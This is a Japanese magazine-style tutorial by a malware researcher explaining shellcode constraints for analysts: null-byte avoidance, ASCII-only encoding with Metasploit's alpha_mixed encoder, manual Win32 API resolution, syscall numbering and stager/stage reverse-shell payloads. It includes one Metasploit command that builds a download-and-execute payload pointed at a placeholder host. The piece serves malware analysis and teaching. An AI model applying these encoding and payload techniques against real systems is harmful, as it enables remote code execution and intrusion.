攻撃の過程で脆弱な個所にたどり着くために、思わぬ制約がシェルコードに課せられる場合があります。ここではその例として、strcpyによるスタックバッファオーバーフローを見ていきましょう。オーバーフローさせる書き込み先バッファ内にシェルコードを配置しつつ、リターンアドレスを上書きすることで、配置したシェルコードに制御を移す攻撃を考えてみます(図4)。
ここで注意が必要なのは、strcpyにおいて0x00が文字列の終端記号として解釈されることです。つまりシェルコードをバイト列として見たときに0x00がその中に入っていると、strcpyによる文字列コピーが0x00の個所で止まってしまいます。その結果、0x00の後ろに控えているシェルコードやポインタを書き込むことができなくなってしまいます(図5)。
こうした使えないバイト値を避けるには、バイト列としてのシェルコードを意識する必要があります。例として、eaxレジスタに0を代入する方法を考えてみましょう。単純に考えると
mov eax,0
というアセンブリになると思います。しかしながら、このアセンブリのバイト列表現は0xB8、0x00、0x00、0x00、0x00となり、0x00が機械語命令内に出てきてしまいます。
そこで、同じ値の排他的論理和は0になることに着目すると、次のようなアセンブリでもeaxレジスタを0にすることができます。
xor eax, eax
このバイト列表現は0x33、0xC0となり、0x00を取り除くことができました。シェルコード全体に対してこうした工夫を行うことで、使えないバイト値を避けつつシェルコードを作成することができます。また、こうしたバイト値をシェルコード内から取り除くために、前述のXORエンコーダが利用されることもあります。
他にも興味深い例として、対象脆弱性にたどり着くまでにASCII文字列以外は通さないというチェックルーチンが存在する場合があります。つまり攻撃者は、シェルコードをASCII文字列で表現しなくてはなりません。
ここまでくると、もはや曲芸のように思えますが、これでも何とかなるのがシェルコード開発の面白いところです。先ほど紹介したエンコーダの中には、元のシェルコードをASCII文字列に変形するモジュールが用意されています。
use payload/windows/download_exec set URL http://hoge.com generate -t raw -e x86/alpha_mixed
x86/alpha_mixedは対象となるシェルコードを英数字のみで表現するモジュールです。この出力結果は以下のようになります。
この英数字の羅列を機械語として実行すると、payload/windows/download_execとまったく同じ振る舞いをします。
こうした制約条件を満たすコードは、一見回りくどい処理をしているように感じることがあります。ただ、その回りくどさの背後にシェルコード内で使えないバイト値があると知っていれば、解析時のストレスも少しは和らぐのではないでしょうか。
一般的な実行ファイルは、ローダと呼ばれるOSの機能により起動されます。
ローダは実行ファイルで使われる(静的リンクされている)Win32 APIを調べ、関連するDLLをロードし、Win32 APIのアドレスが決まったところで、実行ファイル内のIAT(Import Address Table)と呼ばれる領域にそのアドレス情報を書き込みます。実行ファイルはビルド時にIAT経由でWin32 APIを呼ぶように構成されますので、プログラム開発者としてはWin32 APIがどのアドレスに位置しているかを意識することなく、Win32 APIを呼び出すことができます。
一方、起動済みのプロセス内で動作を開始するシェルコードには、Win32 APIのアドレスを解決してくれるローダ役がいません。このため、ローダの処理であるアドレス解決を自前で行う必要があります。
Win32 APIも呼べない状態で、DLLをロードし、アドレス解決することは難しいように感じるかもしれませんが、いくつかの方法が知られています。詳細は今後の連載で紹介していくことにしましょう。
少し話が脱線しますが、Windowsにおけるシステムコール番号は、バージョンによって大きく変わります。
例えば、仮想メモリを確保するNtAllocateVirtualMemoryというシステムコールの番号は、XPの場合は0x0011でしたが、Windows Vistaでは0x0012になっています。このため、Windowsのバージョンに依存しないシェルコードは、たいていWin32 APIを利用しようとします。
ただ、Linuxでは少し事情が異なります。筆者の記憶では、Linuxのシステムコール番号はこれまでに追加されることはあっても、すでに割り当てられた番号に別のシステムコールが割り当てられたことはなかったと記憶しています。
このため、直接システムコールを呼び出したとしても、Linuxのバージョンによって挙動が変わってしまうことはありません。一般的にglibcなどのAPIのアドレスを解決するよりも、システムコールを直接呼び出す方が手間も少なく済むため、Linuxではシステムコールを直接呼び出すアプローチが利用される傾向にあります。
攻撃対象とする脆弱性によっては、シェルコードのサイズが制限される場合があります。こうした制限は、コーディングの工夫で何とかなればいいのですが、それだけでは解決できない場合もあります。
このときに使われる技術の1つに、Stager/Stageと呼ばれる構成があります(図6)。
最初にStagerと呼ばれるシェルコードが実行(図6-【1】)され、このStagerが本体となるシェルコード(Stage)を受信(図6-【2】)し、実行(図6-【3】)します。
一般的にStagerは、単一のシェルコードよりもコンパクトに作られています。例えば、Metasploitに含まれるpayload/linux/x86/shell_reverse_tcpは単一のシェルコードであり、そのサイズは71バイトです。
一方、同じ機能を持つpayload/linux/x86/shell/reverse_tcp(shellとreverse_tcpの間が/になっていることに注意してください)はStager/Stage構成を取り、そのStagerのサイズは50バイトとなっています。この例では大した差ではないように見えますが、シェルコードの機能が豊富になればなるほど、その効果は大きくなります。
ネットワーク経由で受け取ったデータに命令ポインタを移す、そんなシェルコードを見たときは、このStager/Stage構成のことを思い出してみましょう。
今回は普通のプログラム開発では縁のない、シェルコードに課せられる典型的な制約をいくつか紹介してきました。
こうした知識なく、例えば数十KBの無意味なスライディングコードを1つ1つ読んでいたら、それこそ途中で心が折れてしまいます。今回の内容はシェルコードで使われるテクニックの一部に過ぎませんが、今後の皆様のシェルコード解析ライフ(?)を少しでも楽にする材料になればと思います。
次回以降は、シェルコードの解析ツールや、実際のアセンブリを紹介していく予定です。お楽しみに。
岩村 誠(いわむら まこと)
2002年 日本電信電話株式会社入社。学生時代にセキュリティホール対策に魅せられ、現在は新たなマルウェア対策技術の研究開発を推進。「アナライジング・マルウェア」執筆の言い出しっぺ、らしいが、当時は酔っぱらっていて正直あまり覚えていない(^^;
Copyright © ITmedia, Inc. All Rights Reserved.